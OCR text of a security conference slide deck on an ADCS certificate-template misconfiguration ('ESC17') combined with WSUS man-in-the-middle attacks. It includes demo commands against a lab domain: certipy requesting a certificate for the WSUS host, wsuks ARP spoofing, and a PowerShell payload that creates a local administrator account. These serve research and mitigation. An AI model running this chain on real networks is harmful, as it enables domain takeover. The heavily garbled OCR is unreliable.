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Agenda
Introduction to ADCS
Introduction to WSUS (Attacks)

Combining ADCS and WSUS

Demo

Mitigation & Future Research

Alexander Neff, Phil Kniifer | ESC17

4/57



Introduction to ADCS



What is ADCS?

Active Directory Certificate Service — PKI made by Microsoft
Classic PKI: Issue various kinds of certificates for users and computers

Certificate Templates

Intended Purpose
rectory Email Replication
er Authentication Client Authentication,
wuthentication Client Authentication, S C C Authentication
File R

Authentication

Authentication

cure Email, Client Authentication

drministrator Microsoft Trust List Signing, Encrypting File em, Secure Email, Client Authentication
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Certificate Templates

e Who can request a certificate?
® What can you do with it?

® Permissions?

Alexander Neff, Phil Kniifer

ESC17

Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions

Enrollment Permissions

Enrollment Rights

Object Control Permissions
Full control Principals
Write Ouner Principals
write Dacl Principals
write Property Enroll

[+] user Enrollable Principals

WebServer

Web Server

ESS0S-CA

True

False

False

False

True
EnrolleeSuppliesSubject
Server Authentication
False

False

1

2 years

6 weeks

2048
2025-04-24T21:48:03+00:00
2025-04-25T00:13:36+00:00

ESS0S.LOCAL\Domain Users
ESSO0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Enterprise Admins

ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Domain Users
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Certificate Templates

e Who can request a certificate?

® What can you do with it?

® Permissions?
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Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions

Enrollment Permissions

Enrollment Rights

Object Control Permissions
Ouner
Full Control Principals
Write Owner Principals
Write Dacl Principals
Write Property Enroll

[+] user Enrollable Principals

WebServer <

Web Server

ESS0S-CA

True

False

False

False

True
EnrolleeSuppliesSubject

: Server Authentication
: False

False

[

1

2 years

6 weeks

2048
2025-04-24T21:48:03+00:00
2025-04-25T00:13:36+00:00

ESS0S.LOCAL\Domain Users
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Users
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Certificate Templates

e Who can request a certificate?

® What can you do with it?

® Permissions?
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Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions

Enrollment Permissions

Enrollment Rights

Object Control Permissions
Owner
Full Control Principals
Write Owner Principals
Write Dacl Principals
Write Property Enroll

[+] user Enrollable Principals

WebServer
Web Server
ESS0S-CA
True

: False
: False

False

True
EnrolleeSuppliesSubject
Server Authentication
False

: False
1]

1

2 years

6 weeks

2048
2025-04-24T21:48:03+00: 00

i 2025-04-25T00:13:36+00:00

ESS0S.LOCAL\Domain Users
ESS0S.LOCAL\Domain Admins
ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESSO0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESSO0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESSO0S.LOCAL\Enterprise Admins

: ESSOS.LOCAL\Domain Users
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Certificate Templates

e Who can request a certificate?

® What can you do with it?

® Permissions?
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Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions

Enrollment Permissions

Enrollment Rights

Object Control Permissions
Owner
Full Control Principals
Write Owner Principals
Write Dacl Principals
Write Property Enroll

[+] user Enrollable Principals

: WebServer

Web Server

ESSO0S-CA

True <

False

False

False

True
EnrolleeSuppliesSubject
Server Authentication
False

False

o

1

2 years

6 weeks

2048
2025-04-24T21:48:03+00: 00

1 2025-04-25T00:13:36+00:00

: ESS0S.LOCAL\Domain Users

ESS0S.LOCAL\Domain Admins
ESSO0S.LOCAL\Enterprise Admins

: ESSOS.LOCAL\Enterprise Admins
: ESS0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Admins

ESS0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Enterprise Admins

: ESSO0S.LOCAL\Domain Users
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Certificate Templates

e Who can request a certificate?

® What can you do with it?

® Permissions?

Alexander Neff, Phil Kniifer | ESC17

Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions

Enrollment Permissions

Enrollment Rights

Object Control Permissions
Ouner
Full Control Principals
Write Owner Principals
Write Dacl Principals
Write Property Enroll

[+] User Enrollable Principals

WebServer

Web Server

ESS0S-CA

True

False

False

False

True
EnrolleeSuppliesSubject
Server Authentication @r—————
False

False

0

1

2 years

6 weeks

2048
2025-04-24T21:48:03+00:00
2025-04-25T00:13:36+00:00

ESS0S.LOCAL\Domain Users
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Enterprise Admins
[ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Users
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Certificate Templates

e Who can request a certificate?

e What can you do with it?

® Permissions?
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Template Name

Display Name

Certificate Authorities
Enabled

Client Authentication
Enrollment Agent

Any Purpose

Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version

Validity Period

Renewal Period

Minimum RSA Key Length
Template Created

Permissions
Enrollment

: WebServer

: Web Server

: ESS0S-CA

: True

: False

: False

: False

: True

: EnrolleeSuppliesSubject
: Server Authentication
: False

: False

10

34

: 2 years

: 6 weeks

1 2048
1 2025-04-24T21:48:03+00:00

Enrollment Rights

Object Control Permissions
Owner
Full Control Principals
Write Owner Principals
Write Dacl Principals
Write Property Enroll

[+] User Enrollable Principals

: ESS0S.LOCAL\Domain Users

: ESSOS.LOCAL\Enterprise Admins
: ESS0S.LOCAL\Domain Admins

: ESS0S.LOCAL\Domain Admins
: ESS0S.LOCAL\Domain Admins
: ESS0S.LOCAL\Domain Admins

: ESS0S.LOCAL\Domain Users

ESS0S.LOCAL\Domain Admins
ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Enterprise Admins

ESSO0S.LOCAL\Enterprise Admins
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Certificate Templates

e Who can request a certificate?

e What can you do with it?

® Permissions?
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Template Name

Display Name

Certificate Authorities
Enabled

Client Authentication
Enrollment A'ent

Any Purpos

Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version

Validity Period

Renewal Period

Minimum RSA Key Length
Template Created .

Permissions

Enrollment Permissions
Enrollment Rights

Object Control Permissions
Ouner
Full Control Principals
Write Owner Principals
Write Dacl Principals
Write Property Enroll

[+] User Enrollable Principals

: ESSOS.LOCAL\Enterprise Admins
: ESSOS.LOCAL\Domain Admins

: ESS0S.LOCAL\Domain Admins
: ESS0S.LOCAL\Domain Admins
: ESS0S.LOCAL\Domain Admins

: ESSOS.LOCAL\Domain Users

: WebServer

Web Server
ESS0S-CA

EnrolleeSuppliesSubject
Server Authentication
False

False

L]

1
2 years
6 weeks

2048
2025-04-24T2!

: ESS0S.LOCAL\DOMain Users wef——

ESS0S.LOCAL\Domain Admins
ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Enterprise Admins
ESSO0S.LOCAL\Enterprise Admins

ESS0S.LOCAL\Enterprise Admins
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Attacks on ADCS

e White paper by SpecterOps: Certified Pre-Owned in 2021
® Domain Escalation techniques: ESC1-ESC8
® Focus on misconfigured templates

® Community found more techniques over time (up to ESC16)
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Revisiting ESC1
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Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Au i d si
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions
Enrollment Permissions
Enrollment Rights
Object Control Permissions
Owner
Full Control Principals

Write Owner Principals
Write Dacl Principals

[+] user Enrollable Principals
[!] vulnerabilities
ESC1

: ESC1

: ESC1

: ESS0S-CA
: True

H

: False

: False

: True

: EnrolleeSuppliesSubject

: Client Authentication

: False

: False

B

2

: 1 year

: 6 weeks

i 2048

i 2025-04-24T21:48:56+00:00
: 2025-10-05T15: 4!

48+00:00

: ESS0S.LOCAL\Domain Users

: ESS0S.LOCAL\Enterprise Admins
: ESS0S.LOCAL\Domain Admins

ESS05.LOCAL\Local System
ESS0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Admins

ESS0S.LOCAL\Local System
ESS0S.LOCAL\Enterprise Admins

: ESS50S.LOCAL\Domain Admins

ESS0S.LOCAL\Local System
ESS0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Users

: Enrollee supplies subject and template
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Revisiting ESC1

® "Enrollee Supplies Subject"
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Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions

Enrollment Permissions

Enrollment Rights
Object Control Permissions

Owner
Full Control Principals
Write Owner Principals

Write Dacl Principals

[+] user Enrollable Principals
[!] vulnerabilities
ESC1

ESC1
ESC1
ESSO0S-CA

: True
: True

False

False

True <
EnrolleeSuppliesSubject
Client Authentication
False

False

[

:2

1 year

6 weeks

2048
2025-04-24T21:48:56+00:00
2025-10-05T15:45:48+00:00

: ESS0S.LOCAL\Domain Users

ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins
ESSO0S.LOCAL\Domain Admins
ESS0S.LOCAL\Local System
ESS0S.LOCAL\Enterprise Admins

: ESSOS.LOCAL\Domain Admins

ESSO0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Users

: Enrollee supplies subject and template
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Revisiting ESC1

® "Enrollee Supplies Subject"

¢ "Extended Key Usage" (EKU)
allows (client) authentication
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Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions

Enrollment Permissions

Enrollment Rights
Object Control Permissions

Owner
Full Control Principals
Write Owner Principals

Write Dacl Principals

[+] user Enrollable Principals
[!] Vulnerabilities
ESC1

True
EnrolleeSuppliesSubject

: Client Authentication e

: False

False
[

12

1 year

: 6 weeks

1 2048

i 2025-04-24T21:48:56+00:00
: 2025-10-05T15:45:48+00:00

: ESSO0S.LOCAL\Domain Users

ESS0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Admins

ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins
ESSO0S.LOCAL\Domain Admins
ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins

: ESSOS.LOCAL\Domain Admins

ESS0S.LOCAL\Local System
ESS0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Users

: Enrollee supplies subject and template
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Revisiting ESC1

® "Enrollee Supplies Subject"

¢ "Extended Key Usage" (EKU)
allows (client) authentication

¢ Permissive enrollment rights
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Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions
Enrollment Permissions
Enrollment Rights
Object Control Permissions
Ouner
Full Control Principals

Write Owner Principals

Write Dacl Principals

[+] user Enrollable Principals
[!] Vulnerabilities
ESC1

: ESC1
: ESC1
: ESSO0S-CA
: True
: True

False
False

: True

: EnrolleeSuppliesSubject
: Client Authentication

: False

False
0

12

1 year

: 6 weeks

1 2048

1 2025-04-24T21:48:56+00:00
: 2025-10-05T15:45:48+00:00

: ESSOS.LOCAL\DOMain USers

: ESSO0S.LOCAL\Enterprise Admins
: ESS0S.LOCAL\Domain Admins

ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Admins

ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins

: ESSO0S.LOCAL\Domain Admins

ESSO0S.LOCAL\Local System
ESS0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Users

: Enrollee supplies subject and template
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Revisiting ESC1

® "Enrollee Supplies Subject"

¢ "Extended Key Usage" (EKU)
allows (client) authentication

¢ Permissive enrollment rights

® No enrollment restrictions, e.g.,
"Manager approval"
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Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Schema Version
Validity Period
Renewal Period
Minimum RSA Key Length
Template Created
Template Last Modified
Permissions
Enrollment Permissions
Enrollment Rights
Object Control Permissions
Owner
Full Control Principals

Write Owner Principals

Write Dacl Principals

[+] user Enrollable Principals
[!] Vulnerabilities

: ESC1
: ESC1

ESS0S-CA

: True
: True
: False

False
True

: EnrolleeSuppliesSubject
: Client Authentication

: False

<

: False
10

12

: 1 year

: 6 weeks

1 2048

1 2025-04-24T21:48:56+00:00
1 2025-10-05T15:45:48+00:00

: ESSO0S.LOCAL\Domain Users

: ESSO0S.LOCAL\Enterprise Admins
: ESS0S.LOCAL\Domain Admins

ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins
ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins

: ESSO0S.LOCAL\Domain Admins

ESS0S.LOCAL\Local System
ESS0S.LOCAL\Enterprise Admins

: ESS0S.LOCAL\Domain Users

: Enrollee supplies subject and template
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Revisiting ESC1

® "Enrollee Supplies Subject"

¢ "Extended Key Usage" (EKU)
allows (client) authentication

¢ Permissive enrollment rights

® No enrollment restrictions, e.g.,
"Manager approval"
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Template Name
Display Name
Certificate Authorities
Enabled

Client Authentication
Enrollment Agent

Extended Key Usage
Requires Manager Approval

T
Authorized Signatures Required
Schema Version

Validity Period

Renewal Period

Minimum RSA Key Length
Template Created

Template Last Modified

: 2025-04-24T21:48:56+00:00
: 2025-10-05T15:4! +0/

Enrollment Permissions
Enrollment Rights

Owner
Full Control Principals
Write Owner Principals

Write Dacl Principals

[+] user Enrollable Principals
[!] Vulnerabilities

: ESS0S.LOCAL\Domain Users:

: ESSOS.LOCAL\Enterprise Admins
: ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins
: ESS0S.LOCAL\Domain Admins
ESS0S.LOCAL\Local System
ESSO0S.LOCAL\Enterprise Admins
: ESSOS.LOCAL\Domain Admins
ESS0S.LOCAL\Local System
ESS0S.LOCAL\Enterprise Admins
: ESS0S.LOCAL\Domain Users

: Enrollee supplies subject and template
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Mitigating ESC1

Restrict
"Enrollee Supplies Subject"
"Extended Key Usage" (EKU) allows (client) authentication

Permissive enrollment rights

No enrollment restrictions, e.g., "Manager approval"

Alexander Neff, Phil Kniifer | ESC17 21 /57



Restrict the EKU

Client authentication — bad
PKINIT Client authentication — bad
Any purpose/no EKU — terrible

Server authentication — good?

Alexander Neff, Phil Kniifer | ESC17
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Introduction to WSUS (Attacks)



WSUS?

dab3lju:sas

Alexander Neff, Phil Kniifer | ESC17 24 /57



WSUS - Updates for Everyone

® Proxy for Windows updates

® Fetches updates from Microsoft for different products

= Windows 11
m Windows Server
" ...

® Admins control update rollout

Alexander Neff, Phil Kniifer | ESC17 25 /57



WSUS — Updates for Everyone

Clients are configured via Group Policy (GPO)
Sets the registry key WUServer

File Edit

mpute CHIMESC ] olicies\Micros findo VindowsUpdate

Clients
DefaultUserEnvironn

Intel
Microsoft
Aozilla
C

necm.scom.laky

necm.sccm.lab
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WSUS — Updates for Everyone

and it's deprecated. . .

Windows IT Pro Blog

WIND 0G 2 MIN READ

Windows Server Update Services (WSUS) deprecation

ﬁ roimovici Former Employee

Source: https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation /4250436

So.. why bother?

Alexander Neff, Phil Kniifer | ESC17 27 /57



WSUS - Updates for Everyone

... but so are many other things

e RC4 ® LM hashes

e SMBv1 ® non-managed service accounts?

e NTLM ® cpassword in GPOs

e VBScript ® The old Windows 7 client you hacked last week

Internet Explorer

Alexander Neff, Phil Kniifer | ESC17 28 /57



Attacks on WSUS
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MitM Attack on WSUS

Discovered by Paul Stone & Alex SyncUpdates (list of currently installed updates)
0 SyncUpdatesResult (list of new updates)
Chapman (Context IS) in 2015
Webserver serves the updates o _
SyncUpdates (list of installed hardware and drivers) >E<
AT e e ; F————
o SyncUpdatesResult (list of new drivers) £
accepted S 5
(@)
EXeCUted W|th NT AUthOFIty\SYSTEM GetExtendedUpdatelnfoResult
Specify a custom command
. Source: WSUSpect talk at Black Hat USA 2015
PoC Tooling: WSUSpect ! P
Alexander Neff, Phil Kniifer ESC17 30/ 57


https://github.com/pdjstone/wsuspect-proxy

MITM Attack on WSUS

Prerequisites

e \WUServer must use HTTP
® Highjacked traffic

m ARP spoofing

m DNS poisoning

m Fake IPv6 router advertisements (mitm6)
...

Alexander Neff, Phil Kniifer | ESC17
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MitM Attack on WSUS

Further development

® 2017: Marcio Almeida — WSUXploit — fully weaponized version

® 2020: First blog post by GoSecure — PyWSUS — Python implementation of WSUS
server as powerful attack framework

® 2025: Alex Neff — wsuks v1.0.0 — All-in-one tool for ARP spoofing, update
injection and payload generation

Alexander Neff, Phil Kniifer | ESC17 32 /57


https://github.com/pimps/wsuxploit
https://github.com/GoSecure/pywsus
https://github.com/NeffIsBack/wsuks

Weaponizing Compromised WSUS Servers

The red teamer approach

Completely different approach: Use a compromised WSUS server to deliver updates to
victims
® 2017: Alsid/ANSSI — WSUSpendu — PowerShell script to inject malicious updates
into WSUS database

® 2018: @cpl3h/ThunderGunExpress — Thunder_Woosus — Similar in C#
® 2022: LRQA Cyber — SharpWSUS — Enhancement of previous work for C2 reliability

Alexander Neff, Phil Kniifer | ESC17 33/57


https://web.archive.org/web/20180613015314/https://github.com/AlsidOfficial/WSUSpendu
https://github.com/ThunderGunExpress/Thunder_Woosus
https://github.com/nettitude/SharpWSUS

Fiddling with Certificates

GoSecure part two

® GoSecure uses PyWSUS for further experiments
CVE-2020-1013
m (low priv) attacker sets proxy for current session

m Runs PyWSUS-based local proxy server
m Local Privilege Escalation!

Works against HTTPS if attacker also installs custom certificate in local certificate
store

Fixed by Microsoft (user session proxy and cert store no longer used for WSUS)

Alexander Neff, Phil Kniifer | ESC17 34 /57



(Ab)Using WSUS for Relay Attacks

Give hash please?

® 2021: GoSecure part three
MitM WSUS traffic
use incoming client requests for, e.g., ntlmrelayx.py

| |
m sometimes user, sometimes machine account credentials
m limited to HTTP-based WSUS

Alexander Neff, Phil Kniifer | ESC17 35 /57



Mitigations?

Turn on HTTPS

Alexander Neff, Phil Kniifer | ESC17 36 /57



Mitigations?

Turn on HTTPS

Honestly, that's basically the only thing everybody (including Microsoft) has recommended in
the past

Alexander Neff, Phil Kniifer | ESC17 36 /57
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Relaying WSUS Traffic to LDAP

® 2025: Austin Coontz (TrustedSec) — NTLM Relay Attacks in Plain Sight

® Relays WSUS traffic to LDAP
m HTTP — LDAP
HTTPS — LDAP
Abuses a certificate template with Enrollee Supplies Subject
... and Server Authentication!
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Combining ADCS and WSUS



Abusing ADCS for WSUS MitM

* |dentify WSUS server

Identify a suitable certificate template

Request and convert the certificate

Highjack WSUS traffic and serve malicious update
Profit
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Identify WSUS Server

¢ Parse GPOs on the Domain Controller
® Sniff and analyze network traffic

® Look into registry

r—(kali®kali)-[~/Git/wsuks] (master)
—$ sudo wsuks -u bob -p marley -d sccm.lab —dc-ip 192.168.33.1@ —only-discover -I eth2

s
Lo/
[
I—1

1/ A\ NN

Pentesting Tool for the WSUS MITH Attack
Made by NeffIsBack
: 1.0.1

[+] using domain user for the WSUS attack: Userzbob Password=marley Domain=sccm.lab
[+] Command to execute:

PsExec64.exe /accepteula /s powershell.exe "Add-L
[] wsUS Server not specified, trying to find it in SYSVOL share on DC
[!] Found multiple WSUS Policies, please specify the WSUS Server manually with --WSUS-Server and --WSUS-Port.
[!] Found WSsUS Server Policy '{607E1730-4BA8-4145-B570-9C819093DEBF}’, target URL: http://mecm.sccm.lab:8530

[!] Found WsUS Server Policy '{BAF21F2A-4429-42C0-881D-1D54OC15E23E}", target URL: https://secure.mecm.sccm.lab:8531
[+] Discovered WsUS Server, Exiting...

-Group $(Get-Local -SID s-: | Select Name) -Member sccm.lab\bob;"
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Identify Certificate Template

® Very similar to ESC1

° EKU:

"Server Authentication"

Alexander Neff, Phil Kniifer | ESC17

Template Name

Display Name
Certificate Authorities
Enabled

Client Authentication
Enrollment Agent

ESC1_mitigated
ESC1_mitigated
scem-DC-CA
True

False

False

Key Usage
Requires Manager A

ol i
Server Authentication
False

Authorized Signatures Required
Schema Version

validity Period

Renewal Period

Minimum RSA Key Length
Template Created

Template Last Modified

]
2

1 year

6 weeks

2048
2025-09-15T10:15:58+04
2025-09-30T20:33: 13404

Enrollment Permissions
Enrollment Rights

SCCM.LAB\Domain Admins
SCCM.LAB\Domain Computers
SCCM.LAB\Enterprise Admins
SCCM.LAB\Authenticated Users

UBYECT-COMTIOT
Owner
Full Control Principals
Write Owner Principals
write Dacl Principals

Write Property Enroll
[+] User Enrollable Principals

[+] User ACL Principals

SCCM.LAB\alice
SCCM.LAB\Domain Admins
SCCM.LAB\Enterprise Admins
SCCM.LAB\Domain Admins
SCCM.LAB\Enterprise Admins
SCCM.LAB\Domain Admins
SCCM.LAB\Enterprise Admins
SCCM.LAB\Domain Admins
SCCM.LAB\Domain Computers
SCCM.LAB\Enterprise Admins
SCCM.LAB\Authenticated Users
SCCM.LAB\Domain Admins
SCCM.LAB\Domain Computers
SCCM.LAB\alice
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Request and Convert the Certificate

® Request with Certipy

® Convert from pfx to pem

—(kali® kali)-[~/Git/tmp/Certipy] (£SC17)
§ certipy req -dc-ip 192.168.33.10 -u dave -p dragon -template ESC1 mitigated -no-ldap-signing -target DC.scem.lab —ca scem-DC-CA -dns ‘secure.mecm.sccm.lab

Certipy v5.0.3 - by Oliver Lyak (ly&k)

[+] Requesting certihcate via RPC
[*] Request ID i

[*1 Su((essfully requ?s(ed certificate

[*] Got certificate with DNS Host Name ‘secure.mecm.sccm.lab’

[*] Certificate has no object SID

[*] Try using -sid to set the object SID or see the wiki for more details
[+] Saving certificate and private key to 'secure.pfx’

[*] wrote certificate and private key to 'secure.pfx’

—(kali® kali)-[~/Git/tmp/Certipy] (Esc17)
L§ openssl pkesi2 -in secure.pfx -out secure.pem -nodes —passin pass:

—(kali® \mh)' ~/Git/tmp/Certipy] (ESC17)

L$11 secure.
rw 1 kals kals 3895 0ct 9 17:42 secure.pem
—ru-rw-r— 1 kali kali 2001 Oct 9 17:41 secure.pfx
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Highjack Traffic and Serve Update

kati® leali)-[~/Git/tmp/Certipy] (EsC17)
$ sudo wsuks -t 192.168.33.13 —WSUS-Server secure.mecm.sccm.lab -1 eth2 —tls-cert secure.pem

Pentesting Tool for the WSUS MITM Attack
Made by NeffIsBack

[+] Generated local user for the WSUS attack: 2302
[*] wARNING: LocalAccountTokenFilterPolicy will be to 1 to allow remote adninistrative connections with local accounts.

[+] Command to execute

See README for details.

PsExec64 .exe /i((epteuli /s powershell.exe "New-LocalUser -Name user82302 Passwnrd $(ConvertTo-SecureString ETguiPmXpaeBvWWH -AsPlainText -Force) -Description $(
on\Poli

token_path = 'HKLM: 5
token_prop_name = 'LocalAccountTokenFilterPolicy';

token_valu $(Get-Item -Path $token_path).! setvalue(stnken _prop_name, $nul'l),
token_value = if ($null -eq $token_value) { 'Not set' } else { $token_value };
rite-Output ('Value of ln(alA((nun(TnkenFll(erPoh:y ' + $token_value);

if ($!nk2n value -ne 1)

('Not set' -ne $token_value)

Remove-ItemProperty -Path stnkeLpam -Name $token_prop_name;

New-ItemProperty -Path $token_path -Name $token_prop_name -Value 1 -PropertyType DWORD > $null;

Add-LocalGroupMember -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member users2302;"
#] WSUS Server specified manually: 192.168.33.11:8531
Setup done, starting services

#] starting ARP spoofing for target 192.168.33.13 and spoofing IP address 192.168.33.11

+] Configure nftables for NATing incoming packages from 192.168.33.13 with source 192.168.33.11:8531 to 192.168.33.2
+] Using TLS certificate 'secure.pem’ for HTTPS WSUS Server

#] Starting WSUS Server on 192.168.33.2:8531
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L—cmw-km,-[-irﬂuup/cmim (Es€17)

Highjack Traffic and Serve Update

$ sudo wsuks -t 192.168.33.13 —WSUS-Server secure.mecm.sccm.lab -1 eth? —tls-cert

Y g/ R
\\A//I(ill [
A N W O i B
n (|
v o1 /\_/II\\\

Pentesting Tool for the WSUS MITM Attack
de by NeffIsBack
i 1.0.1

[+] Generated local user for the WSUS attack

[!] WARNING: LocalAccountTokenFilterPolicy will be to i to allow resote adninistrative connections with lecal accounts.

[+] command to execute:

»

PsExec6i. exe /acunteula /s powershell.exe "New-LocalUser -Name user$2302 -Passmz:d $(Conver

token_path = 'HKLM:\SO y
token_prop_name Loci‘.l:cuun“ukeniﬂterPu‘.l:v
token_value = $(Get-Item -Path $token_path). rwwaln(stqkm prop_name, $null
token_value = if ($null -eq Stoken_value) { ' et' } else { Stoken_value
Write-Dutput ('Value of I.ol:ilnuwllthkenFllteer'Lkw i stvnn,value).
£ ($token_value -ne 1)
if ("ot set' -ne $token_value) {
Remove-ItemProperty -Path Stoken_path -Name $token_prop_nam

] WSUS Server specified manually: 192.168.33.11:8531
#] == Setup done, starting services
+] Starting ARP spoofing for target 192.168.33.13 and spoofing IP address 192.168.33.11

*] Using TLS certificate ‘secure.pem' for HTTPS WSUS Server
+] Starting WSUS Server on 192.168.33.2:8531...
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New-ItemProperty -Path $token_path -Name $token_prop_name -Value 1 -PropertyType DWORD > $nul

Add-LocalGroupilember -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member users23o2;"
3

+] Configure nftables for NATing incoming packages from 192.168.33.13 with source 192.168.33.11:8531 to 192.168.33.2

-AsPlainText -Force) -Description $(
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Highjack Traffic and Serve Update

C (kali® kali)-[~/Git/tmp/Certipy] (ESC17)
$ sudo wsuks -t 192.168.33.13 —WSUS-Server secure.mecm.sccm.lab -1 eth2 —tls-cert secure.pem

(V2R i A Ny B T V)

Pentesting Tool for the WSUS MITM Attack
Made by NeffIsBack
version: 1.9.1

o
[+] Generated local user for the WSUs attac 82302 i VIH l

[!] WARNING: L tTokenFilterPolicy ions with local accounts. See README for details.

[+] command to execute:

PsExecth.exe /accepteula /s powershell.exe "New-LocalUser -Mame users2302 -Password $(ConvertTo-SecureString ETguiPmXpaeBvVWH -AsPlainText -Force) -Description $(
token_path = 'HKLN: \SOFTWARE\Ni crosof t Windows\CurrentVersion\Policies\systen’;

token_prop_name = ana'ancuunnukenrﬂterru\uv i

token_value = §(Get-Item -Path $token_path).GetValue($token_prop_name, $null
token_value = if ($null -eq $token_value) { 'Not set’ } else { Stoken_value
ite-Output ('Value of LocalAccountTokenFilterPolicy: ' + Stoken_valu
